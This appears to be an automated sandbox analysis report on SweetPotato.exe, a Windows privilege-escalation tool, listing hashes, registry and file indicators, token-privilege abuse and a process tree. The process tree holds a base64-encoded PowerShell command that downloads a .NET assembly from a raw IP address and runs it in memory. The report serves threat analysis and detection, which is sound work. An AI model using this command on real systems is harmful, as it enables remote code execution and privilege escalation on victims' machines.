b9fb27d68786f8b8db534c02decf1a61b72363b41f14bde82a7b587d59e5875a

Analysis

max time kernel
143s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
05/10/2023, 05:41

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General

Target

SweetPotato.exe
Size

903KB
MD5

f293d4c7f3a17eb84230caed9427584a
SHA1

4041b704ad897b1bf1c86fc7d6d2937f0033467b
SHA256

b9fb27d68786f8b8db534c02decf1a61b72363b41f14bde82a7b587d59e5875a
SHA512

3948020a7c5dfb17dad5bb3011891c5ec567aef0a1913d3d8037929d8d1e51516d014650a99f7a4896f346525eeff8fea100bdf2a24d47f9dcb5cf04173a6c4d
SSDEEP

24576:WrmXJcY5G1FOPjWcjL8TxNYqEv0rODHZ/lpWUmJKfplz7FkJpj:Wrm5cY56OaccTtsWIZ/GUm0fpB7

Score

5^/10

Malware Config

Signatures

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1548	powershell.exe
1548	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeImpersonatePrivilege	4016	SweetPotato.exe
Token: SeAssignPrimaryTokenPrivilege	4016	SweetPotato.exe
Token: SeIncreaseQuotaPrivilege	4016	SweetPotato.exe
Token: SeDebugPrivilege	1548	powershell.exe

C:\Users\Admin\AppData\Local\Temp\SweetPotato.exe
"C:\Users\Admin\AppData\Local\Temp\SweetPotato.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4016
- \??\c:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "c:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e WwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAoAGkAdwByACAALQB1AHIAaQAgAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADUAMwAuADcANgAuADEANwA2AC8AYgBmAHQAZQBzAHQAMwAuAHQAeAB0ACkALgBjAG8AbgB0AGUAbgB0ACkAKQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACQAbgB1AGwAbAApACAAPgAgAEMAOgBcAFUAcwBlAHIAcwBcAEkATgBGAEEAMAAwADEAQQBcAGIAZgBzAGEAZgBlAGMAYQB0AC4AdAB4AHQACgA=
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1548

Network

MITRE ATT&CK Matrix

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Downloads

C:\Windows\Temp\__PSScriptPolicyTest_kl1clud0.a3v.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1548-6-0x00007FFE44BF0000-0x00007FFE456B1000-memory.dmp

Filesize
10.8MB

Download
memory/1548-7-0x000001AA72CA0000-0x000001AA72CB0000-memory.dmp

Filesize
64KB

Download
memory/1548-9-0x000001AA75460000-0x000001AA75482000-memory.dmp

Filesize
136KB

Download
memory/1548-8-0x000001AA72CA0000-0x000001AA72CB0000-memory.dmp

Filesize
64KB

Download
memory/1548-21-0x00007FFE44BF0000-0x00007FFE456B1000-memory.dmp

Filesize
10.8MB

Download
memory/4016-0-0x0000014AE6320000-0x0000014AE6406000-memory.dmp

Filesize
920KB

Download
memory/4016-1-0x00007FFE44BF0000-0x00007FFE456B1000-memory.dmp

Filesize
10.8MB

Download
memory/4016-3-0x0000014AE8AD0000-0x0000014AE8D82000-memory.dmp

Filesize
2.7MB

Download
memory/4016-2-0x0000014AE8370000-0x0000014AE8380000-memory.dmp

Filesize
64KB

Download
memory/4016-5-0x00007FFE44BF0000-0x00007FFE456B1000-memory.dmp

Filesize
10.8MB

Download